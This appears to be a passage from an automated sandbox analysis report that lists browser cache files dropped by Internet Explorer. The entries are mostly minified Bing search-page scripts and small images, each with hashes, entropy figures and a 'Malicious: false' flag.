Preview:	(function(){var n=_d.querySelector("#b_header .b_scopebar>ul #b-scopeListItem-web");n===null\|\|n===void 0?void 0:n.addEventListener("click",function(t){n&&Lib.CssClass.contains(n,"b_active")&&(sj_pd(t),sj_sp(t))},!0)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ZRXGwgcw3Pgahh6o0WaCqsTdonM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (412), with no line terminators
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.17305928357574
Encrypted:	false
SSDEEP:	12:2QBdoySw+YEXj3Gs07fZVD7H82MgNukm7UqgU:2Qb7+YEXz4fZxHjmoRU
MD5:	581C2C396720F651CC2F3D40E9E727F8
SHA1:	6515C6C20730DCF81A861EA8D16682AAC4DDA273
SHA-256:	D6787BD009EA758F8ABDD437032799F7004247FC10F631B93AF0FA84607597EC
SHA-512:	E7198C04B0E8CEE80B8278E77FA0C301915B32F62C0DB36C1D7D2D9E20A7ACD578308070EB833ED8450A2360358E118E55B47DB149FB4AB8053E8FAA2C925568
Malicious:	false
Preview:	(function(){var n=_d.querySelector("#b_header .b_scopebar>ul #b-scopeListItem-web");n===null\|\|n===void 0?void 0:n.addEventListener("click",function(){var i,t,r;if(n&&Lib.CssClass.contains(n,"b_active"))try{i=_ge("b_header");i.scrollIntoView({behavior:"smooth"});t=_ge("sb_form_q");t.focus();t.click();r=t.value;t.setSelectionRange(0,r.length)}catch(u){_w.sj_log&&sj_log("CI.WebScope","error",u.message)}},!0)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ZRXGwgcw3Pgahh6o0WaCqsTdonM[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (412), with no line terminators
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.17305928357574
Encrypted:	false
SSDEEP:	12:2QBdoySw+YEXj3Gs07fZVD7H82MgNukm7UqgU:2Qb7+YEXz4fZxHjmoRU
MD5:	581C2C396720F651CC2F3D40E9E727F8
SHA1:	6515C6C20730DCF81A861EA8D16682AAC4DDA273
SHA-256:	D6787BD009EA758F8ABDD437032799F7004247FC10F631B93AF0FA84607597EC
SHA-512:	E7198C04B0E8CEE80B8278E77FA0C301915B32F62C0DB36C1D7D2D9E20A7ACD578308070EB833ED8450A2360358E118E55B47DB149FB4AB8053E8FAA2C925568
Malicious:	false
Preview:	(function(){var n=_d.querySelector("#b_header .b_scopebar>ul #b-scopeListItem-web");n===null\|\|n===void 0?void 0:n.addEventListener("click",function(){var i,t,r;if(n&&Lib.CssClass.contains(n,"b_active"))try{i=_ge("b_header");i.scrollIntoView({behavior:"smooth"});t=_ge("sb_form_q");t.focus();t.click();r=t.value;t.setSelectionRange(0,r.length)}catch(u){_w.sj_log&&sj_log("CI.WebScope","error",u.message)}},!0)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\b1UvgiIbimwO0MD72b316M0N024[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (22072)
Category:	dropped
Size (bytes):	22103
Entropy (8bit):	5.361178068077242
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfqyDOhKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0/WPTAi:Y5Tifh3bBpBnqIH+Z6sepXv0uz8aV
MD5:	E6D1413E5F595F9F70187AA7641AF15E
SHA1:	6F552F82221B8A6C0ED0C0FBD9BDF5E8CD0DD36E
SHA-256:	F0CE767BC0F986E7752AFDDDDD978583127C68E7A4F03C87737C3A12E27FD59A
SHA-512:	F3A49B1B02DAF1BE6CDD5FC5CE875EC864F6C79DF986F586F6359D0F8DDB3BF71B30B6189C1466F2421F8E216246C4CD7F30026E45DDE9F59F5E27AEB8A2C956
Malicious:	false
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\cfeVf2-uV0hUo3ToTbLjztuomWk[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, components 3
Category:	dropped
Size (bytes):	4547
Entropy (8bit):	7.735536921390623
Encrypted:	false
SSDEEP:	96:ssb41dk9JozAQ8d2SuBK76KrZDoDBtnFKiDo8TzNnNJSHvLPS:sj1eozAQ8d2VPGoBBFfM4fJSHDPS
MD5:	7AEF4CCF6E47B9BA038365CD3D1F5693
SHA1:	71F7957F6FAE574854A374E84DB2E3CEDBA89969
SHA-256:	08102BA7A0388B1AFC9A351B3387B2DDEDA846551303170E0273B2F305AECCB2
SHA-512:	29AC1E6BADF62C61B4FA889EA1B0436D3B9107A60BA03801DFA8E23A4D8BCCF42C09BB7CC7E6CD9FACB8D140DB7E0D4F0EEB3D7D8A3B9B38B1D2B95113005320
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:51:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................VQJ,..R...)..(..R..d.Y@...h..%(.AW(T.)...5.,.%.2[.."!l...Z......@I..T.......@3.@....D@ ..l.)E.P....ts......@... E".W/G...........IQ..I\|../.,..W..(....WY.1<.t..=....K...C....-.1..s.[l...^].mO7\|..:.kda5....o.=.S.8.;....~e,.......1v..~5.:s'$..u.i..k.7._E25...f6v..Nk.&)....S.r...ovn5...k9k...u.D...f&.......e.+.7......d..7K.R]..f..K..l...r....K.b..s29...y;..U.E(.qH....,....QS%..@....'......................... !."1.#$0@.`............R.J..e~...+.J.....y..7#..^....,.....@.3..`.....L...[u.!.../...;[7.,...a....[._W...B;.....4g+../c..>g...!..U..Q...0...$..F%...u\|.2?.V.>.v..2.2.S.c..km)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\chL-iM0GhqOBrLGwWDpUSuOtobA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1833), with no line terminators
Category:	dropped
Size (bytes):	1833
Entropy (8bit):	5.03858600819449
Encrypted:	false
SSDEEP:	48:Jk08PkQix8QboQO7cxfFb87c9nH40VtN3HCBuNDbHNxpA:sPb6oZY80tVbHDtTA
MD5:	D7365C424E30CB142A85B84C0618D671
SHA1:	7212FE88CD0686A381ACB1B0583A544AE3ADA1B0
SHA-256:	8FD0225B5F75EE2326ADC68A10F5B9FC50C30A45BF4B61C7EE9364103E6102C8
SHA-512:	26D9A5DA2CC591954C6014B4DE1826653C9F058E9C8287342D8F0F2C9960BDAF30E1D4F8ADDF529830327D94C8BCA21848A3ADAF2846036A5E9C618992B18D5F
Malicious:	false
Preview:	var ExtendIconClickTargetV2;(function(){function n(){var u=document.querySelectorAll(".b_tpcn"),e,r,f,n,i,t;if(u)for(e=function(n){var r=u[n],i,t,f;if(r&&(r.onclick=function(n){if(!n\|\|n.target===r){var t=r.querySelector(".tilk");t&&(_w.si_T&&_w.si_T(t.getAttribute("h")),t.click())}},i=r.nextElementSibling,i&&(r.addEventListener("mouseover",function(){r.style.cursor="pointer";var n;n=i.tagName==="H2"\|\|i.tagName==="H3"?i.querySelector("a"):i.querySelector("h2 a, h3 a");n&&(n.style.textDecoration="underline")}),r.addEventListener("mouseout",function(){r.style.cursor="";var n;n=i.tagName==="H2"\|\|i.tagName==="H3"?i.querySelector("a"):i.querySelector("h2 a, h3 a");n&&(n.style.textDecoration="")}),t=i,!t\|\|t.classList&&t.classList.contains("b_title")\|\|t.tagName==="H2"\|\|t.tagName==="H3"\|\|(t=t.querySelector("h2, h3")),t))){if(f=t.querySelector("a"),!f)return{value:void 0};t.addEventListener("mouseover",function(n){n&&n.target===t&&(t.style.cursor="pointer",f.style.textDecoration="underline")});t

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\chL-iM0GhqOBrLGwWDpUSuOtobA[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1833), with no line terminators
Category:	dropped
Size (bytes):	1833
Entropy (8bit):	5.03858600819449
Encrypted:	false
SSDEEP:	48:Jk08PkQix8QboQO7cxfFb87c9nH40VtN3HCBuNDbHNxpA:sPb6oZY80tVbHDtTA
MD5:	D7365C424E30CB142A85B84C0618D671
SHA1:	7212FE88CD0686A381ACB1B0583A544AE3ADA1B0
SHA-256:	8FD0225B5F75EE2326ADC68A10F5B9FC50C30A45BF4B61C7EE9364103E6102C8
SHA-512:	26D9A5DA2CC591954C6014B4DE1826653C9F058E9C8287342D8F0F2C9960BDAF30E1D4F8ADDF529830327D94C8BCA21848A3ADAF2846036A5E9C618992B18D5F
Malicious:	false
Preview:	var ExtendIconClickTargetV2;(function(){function n(){var u=document.querySelectorAll(".b_tpcn"),e,r,f,n,i,t;if(u)for(e=function(n){var r=u[n],i,t,f;if(r&&(r.onclick=function(n){if(!n\|\|n.target===r){var t=r.querySelector(".tilk");t&&(_w.si_T&&_w.si_T(t.getAttribute("h")),t.click())}},i=r.nextElementSibling,i&&(r.addEventListener("mouseover",function(){r.style.cursor="pointer";var n;n=i.tagName==="H2"\|\|i.tagName==="H3"?i.querySelector("a"):i.querySelector("h2 a, h3 a");n&&(n.style.textDecoration="underline")}),r.addEventListener("mouseout",function(){r.style.cursor="";var n;n=i.tagName==="H2"\|\|i.tagName==="H3"?i.querySelector("a"):i.querySelector("h2 a, h3 a");n&&(n.style.textDecoration="")}),t=i,!t\|\|t.classList&&t.classList.contains("b_title")\|\|t.tagName==="H2"\|\|t.tagName==="H3"\|\|(t=t.querySelector("h2, h3")),t))){if(f=t.querySelector("a"),!f)return{value:void 0};t.addEventListener("mouseover",function(n){n&&n.target===t&&(t.style.cursor="pointer",f.style.textDecoration="underline")});t

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\cye7NhBZJb1Rti8Cl6_Q9XmgID0[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (371), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	4.964799787793963
Encrypted:	false
SSDEEP:	6:qGD7/TMvKyYLwRMF4owANCqwvpkTzT6n0evROARDCMwzkk6Km0Msv/Gvz:JPwKVDJHCqspkZeZJDC/wKE
MD5:	B743465BB18A1BE636F4CBBBBD2C8080
SHA1:	7327BB36105925BD51B62F0297AFD0F579A0203D
SHA-256:	FEE47F1645BC40FBC0F98E05E8A53C4211F8081629FFDA2F785107C1F3F05235
SHA-512:	5592DEF225E34995F2F4E781F02CC2B489C66A7698D2FEFF9AC9A71F09E5284B6BBDB065E1DF9C06ADFB1F467D5627FBD06E647ABF4E6AB70CF34501232126AD
Malicious:	false
Preview:	var SbiPrivacy;(function(){function t(){var i,r,t,u;if(typeof SbiUtil!="undefined"&&SbiUtil.rt&&_d.querySelectorAll)for(i=SbiUtil.rt.querySelectorAll(".sbiinflnk[data-link]"),r=function(t){var i=t.target;i.hasAttribute(n)&&(i.href=i.getAttribute(n),i.removeAttribute(n))},t=0;t<i.length;t++){u=i[t];SbiUtil.oncop(u,r)}}var n="data-link";t()})(SbiPrivacy\|\|(SbiPrivacy={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\eTi-SFYR-dQX6EuMCnS9PFieBS8[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (429), with no line terminators
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.098203134109495
Encrypted:	false
SSDEEP:	12:GtAJv9xWHXWpwYMEX3IR6lVDZWhHD6GkPsHKHOZzu2wBRHJhNURtAJ4ZQetAJD:GeyWeYMEnsUVoHoigkhwBRphNQR+e+
MD5:	0794C2FFC9AAF238496BF687A9C68799
SHA1:	7938BE485611F9D417E84B8C0A74BD3C589E052F
SHA-256:	805AAA9634639B2EAA912E117219727DFA6E92A63B8B92569C336A9CCDE52DEE
SHA-512:	FEFBFBD39B9B86D8975D8FAAB62B50515488E9BF1E21AD72FED9FA93614E10ADAFC99DA77349EAD2501B89D422D766ADC313B6024BCB9B331AB83A7B99BB135F
Malicious:	false
Preview:	var SBIImgsHelper;(function(){function i(){typeof SbiUtil!="undefined"&&(SbiUtil===null\|\|SbiUtil===void 0?void 0:SbiUtil.oncop(SbiUtil.rt,r))}function r(i){var r=i.target\|\|i.srcElement,u;r&&r.tagName==="IMG"&&r.classList.contains(n)&&r.src&&(u=r.getAttribute(t),u&&sj_evt&&sj_evt.fire&&sj_evt.fire("sbi_searchimgurl",SbiUtil.gimg(r),u,null,SbiUtil.gaps(r)))}var n="sbiable",t="data-sbiid";i()})(SBIImgsHelper\|\|(SBIImgsHelper={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\f-Y4kt-7SuB49beEoxsp6YHiJSM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (19674), with no line terminators
Category:	dropped
Size (bytes):	19674
Entropy (8bit):	5.33240026231163
Encrypted:	false
SSDEEP:	384:3Wsj/9Npzk8fbw3QMXmwOAahGvyBJeXiOOF240eApyfYRxW+:3z/PpzkLXmw0onXi9F24Ypw43
MD5:	5704A84AC0573BDBF11A8DA6582410C6
SHA1:	7FE63892DFBB4AE078F5B784A31B29E981E22523
SHA-256:	525FA9E3B57ABEE5ED411C5EBA2F74DFF25D2591BBC142A976DE1604E2502D9E
SHA-512:	4DF7C5152CC7A9BE28A650A3C275B9F9880139D640268E3266968EB585F813E6178FEE193D8348B5DA386A3893E54FD40A3B6149275DB404D3511F27532D8170
Malicious:	false
Preview:	var customEvents,__spreadArray,fallbackReplay,EventLoggingModule;_w.EventsToDuplicate=[];_w.useSharedLocalStorage=!1;define("shared",["require","exports"],function(n,t){function s(n,t){for(var r=n.length,i=0;i<r;i++)t(n[i])}function r(n){for(var i=[],t=1;t<arguments.length;t++)i[t-1]=arguments[t];return function(){n.apply(null,i)}}function u(n){i&&event&&(event.returnValue=!1);n&&typeof n.preventDefault=="function"&&n.preventDefault()}function f(n){i&&event&&(event.cancelBubble=!0);n&&typeof n.stopPropagation=="function"&&n.stopPropagation()}function e(n,t,i){for(var r=0;n&&n.offsetParent&&n!=(i\|\|document.body);)r+=n["offset"+t],n=n.offsetParent;return r}function o(){return(new Date).getTime()}function h(n){return i?event:n}function c(n){return i?event?event.srcElement:null:n.target}function l(n){return i?event?event.fromElement:null:n.relatedTarget}function a(n){return i?event?event.toElement:null:n.relatedTarget}function v(n,t,i){while(n&&n!=(i\|\|document.body)){if(n==t)return!0;n=n.p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\hoJZx9xRdanMHi7INfPZtL0_VnM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (891), with no line terminators
Category:	dropped
Size (bytes):	891
Entropy (8bit):	5.1332488883366585
Encrypted:	false
SSDEEP:	24:2QG5MCVFmMCBTotKMCWqEZWMCUHK09nzEIzGln:GbGb+Eb5EgbCr9nz+ln
MD5:	02B0B245D09DC56BBE4F1A9F1425AC35
SHA1:	868259C7DC5175A9CC1E2EC835F3D9B4BD3F5673
SHA-256:	62991181637343332D7B105A605AB69D70D1256092355CFC4359BEE7BDBFB9C6
SHA-512:	CBB43000A142807FF1BB3BFAC715CEF1240233117C728F357C824CE65B06BE493DF2306C7B03598817F09B02E9E36EC52314F88467679C5BEF3EE1504A10C7E6
Malicious:	false
Preview:	(function(){function e(){var t,r;n&&(n.value.length>0?(t=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|t===void 0?void 0:t.add(sj_b,i):(r=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|r===void 0?void 0:r.remove(sj_b,i))}function o(t){var e,o;n.value="";n.innerText="";u&&f&&(u.innerText="",f.classList.remove("nudgeVisible"));(e=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|e===void 0?void 0:e.remove(sj_b,i);sj_log("CI.XButton","Clicked","1");r&&((o=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|o===void 0?void 0:o.add(r,"b_focus"));n.focus();n.click();t&&(t.preventDefault(),t.stopPropagation())}var r=_ge("b_header"),n=_ge("sb_form_q"),t=_ge("sb_clt"),u=_qs(".qfc.b_searchbox .ghost"),f=_qs(".qfc.b_searchbox .nudge"),i="b_sbText";n&&t&&(sj_be(t,"click",o),sj_be(t,"keydown",function(n){var t=n.code\|\|n.key;t==="Enter"&&o(n)}),sj_be(n,"keyup",e),e())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\hx-eea1zqtCz4K0bW2uH_oN7Fs4[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3791
Entropy (8bit):	7.08266375441937
Encrypted:	false
SSDEEP:	96:6lg111b8TUEfN/R5Cx2ftlv8Zkj81vPZsYf:0g11u5FR5CUtlkZPRKY
MD5:	299A479A2F7F1F30D09545CA8CC5D162
SHA1:	871F9E79AD73AAD0B3E0AD1B5B6B87FE837B16CE
SHA-256:	B314EAD01E8E89C964273418BB1117D24DFE01E4838E7A1B46FA19F64699AF05
SHA-512:	9D8DA9F1247D5D097E8AAAB4346AADE12E2BC74D6F9446760A5A3A45D9C2D48782D456CE05AC6FD2F0572CD26A562F2D0E4C55048FDAEC138F398A715743437D
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II*...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ .........7.,acspMSFT...................................-lcms................................................desc... ...@cprt...`...6wtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...4...$dmnd...X...$dmdd...\|...$mluc............enUS...$.....G.I.M.P. .b.u.i.l.t.-.i.n. .s.R.G.Bmluc............enUS.........P.u.b.l.i.c. .D.o.m.a.i.n..XYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T\|..L.......&g...\mluc............enUS.........G.I.M.Pmluc............enUS.........s.R.G.B...C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\kiGH9ukZK6Q4hvtDtwwVc1yvueg[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\kxeSzXDO1K1Yb2MpwwwpTr6hVI4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (34732), with no line terminators
Category:	dropped
Size (bytes):	34732
Entropy (8bit):	5.452487645923916
Encrypted:	false
SSDEEP:	768:+J0AmB7aPmB7aU1THyBVyD3NSrGyDQS+mZvUhM/4S8SrmB:+aaUaJCDA3DjHZv37n6
MD5:	E4FB9B839186660B1F729B8DF8C994B4
SHA1:	931792CD70CED4AD586F6329C30C294EBEA1548E
SHA-256:	6838611C8AB6539005E11C84CA308158F89A51DB57A62CAF21FAAB48BF576177
SHA-512:	625436BB52CBD7DF7ED03BE05FEA52C5D54B6CC15037D70C268D9598E648A22246DB902B9C6F097BA8B18BD924F6AB17120736285D54DCE13773237F1669853A
Malicious:	false
Preview:	var ModernRewards;(function(n){var t="redDotDisplay",e="redDotDisplayFill",f="rewards_header_icon serp",o="rewards_header_icon hp",s="/red-dot-24.png",h="AutoOpenFlyoutFired",c="bfbNotificationShown",l="BNPNotificationShown",a="ChatVerticalShown",v="CookieDisabled",y="IsAADUser",p="MissingModel",w="_RwBf",b="rwmrst",i=!0,u="",r="//az15297.vo.msecnd.net/images/rewards/membercenter/missions/redDotImage.png",k=function(){function n(n){this.reportActivityModel=n;this.rewardsReadyEventArgs={isAuthenticated:n&&n.IsAuthenticated,isRebatesUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRebatesUser,isRewardsUser:n&&n.RewardsSessionData&&n.RewardsSessionData.IsRewardUser,isTrialUser:n&&n.RewardsSessionData&&!n.RewardsSessionData.IsRewardUser&&n.RewardsSessionData.IsTrialUser,waitlist:n&&n.RewardsSessionData&&n.RewardsSessionData.Waitlist,isCcpEligible:n&&n.RewardsSessionData&&n.RewardsSessionData.IsCcpEligible,hasUsedCcpTrial:n&&n.RewardsSessionData&&n.RewardsSessionData.HasUsedCcpTrial}}re

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ln5TQq6AIWfcBlduDk-5bnaJMpY[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4409
Entropy (8bit):	7.661436320849241
Encrypted:	false
SSDEEP:	96:sZbhwhNizUZvpj+cq69L5CiYXL6UIwLxl3LeD:sWzj+cq615Te+Se
MD5:	A98A08BDB99B8422C9DC9D6FDD9387C3
SHA1:	967E5342AE802167DC06576E0E4FB96E76893296
SHA-256:	5FAB9EE214738E71D6C01392EBC7B1EEC09EF8E19CA508EF28154E3E7A769ACF
SHA-512:	660020F40078ADA6A3E3DB7B55063D3E3603F82CFBB3ACF81FE2DF53F23064414C78DAF8657C6E556ADCC4D2034EC077F8C0B4A7720018E457DAFDEEF0323476
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:58:04....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.............................................................................................. (... ....@..........(.@..............(.................R. .......................f.....#x.....6.9.]...f............\|:......b...=....M}.}3/...H..{},k...x..`B.....z........y..9.yv.....9....>n...f...W......ug'.x..6:-3.a.iaHB.@.T.. .Q.@.)A.....At`..(..X!..0t).H...........s.uR6E.J.K9.@*.$.Es....&.........................!.. "A$10Bp.............o.wb.H2......p....H..m....ez.5.5....L.%.i....'..).s....$..q...E.....yxe-d<.VI...<s.~K....4.o.?.y.NY3r1..5...M9F..^Q...y..........>$.&r.g ..MK.qe....5.......~!.....\.&\|....!5...`9.)F.R;.fY.%.&.={..R.A.....>.y....E.Q._....<.\|_...J.....z&_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nt6a1ZR520utsLoZmSYgwxdOPgI[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	606
Entropy (8bit):	5.268639530160161
Encrypted:	false
SSDEEP:	12:hc2AcBdEcv2Csu+IUhIlaq1YkOcAwI98NyeTgy8XTQHY2:hc2AcBSBZacr98XSDuY2
MD5:	0C2672DC05A52FBFB8E3BC70271619C2
SHA1:	9EDE9AD59479DB4BADB0BA19992620C3174E3E02
SHA-256:	54722CF65AB74A85441A039480691610DF079E6DD3316C452667EFE4A94FFD39
SHA-512:	DD2B3E4438A9DEAA6B306CBC0A50A035D9FE19C6180BC49D2A9D8CDBB2E25D9C6C8C5265C640AC362DC353169727F8C26503E11A8A061A2517A303F61D0CCD3C
Malicious:	false
Preview:	var sj_rra=function(n){var i="/rewardsapp/reportActivity",f=_w.location.search.substring(1),u=window.data_iid,r,t,e;i+=u&&u.length>0?"?IG="+_G.IG+"&IID="+u+"&"+f:"?"+f;r=window.rw_mqs_cg;r&&r.length>0&&(i+="&cg="+r,window.rw_mqs_cg=undefined);_w._H&&_w._H.mkt&&(i+="&src=hp");t=sj_gx();e="url="+escape(n)+"&V=web";t.open("POST",i,!0);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.onreadystatechange=function(){t&&t.readyState==4&&t.status==200&&t.responseText&&_w.sj_appHTML&&(sj_appHTML(document.body,t.responseText),sj_evt&&sj_evt.fire("serpThemeUpdatedByRewards"))};t.send(e)}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\search[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (48370), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	219301
Entropy (8bit):	5.644639731482277
Encrypted:	false
SSDEEP:	3072:VXQQ1yfTER5zQ9oEYZ5jpxKxYbJvjUHpHKMnBImRhNSR4pMGDcU0X:tQQ1ybERZzpzVxKhZnBImGGDcb
MD5:	34B2D1436DC5023AF8E0E7FE7CE16046
SHA1:	931E5619F0E0EC21E6884B08CCA37E362D32E42E
SHA-256:	033259D7FD4131D2AE2FC0D21E2F7D3F494649A43C30E701A51B5904AF893C93
SHA-512:	0A4C744C11BD641A5DF98BB323A1F182C81668CE9B4FECE8AE6C68AD9CE39EE1846D393DE5A2FDE62BC940A5AB2634248B1DDBA2A8AD1098D36FFD6536093AF0
Malicious:	false
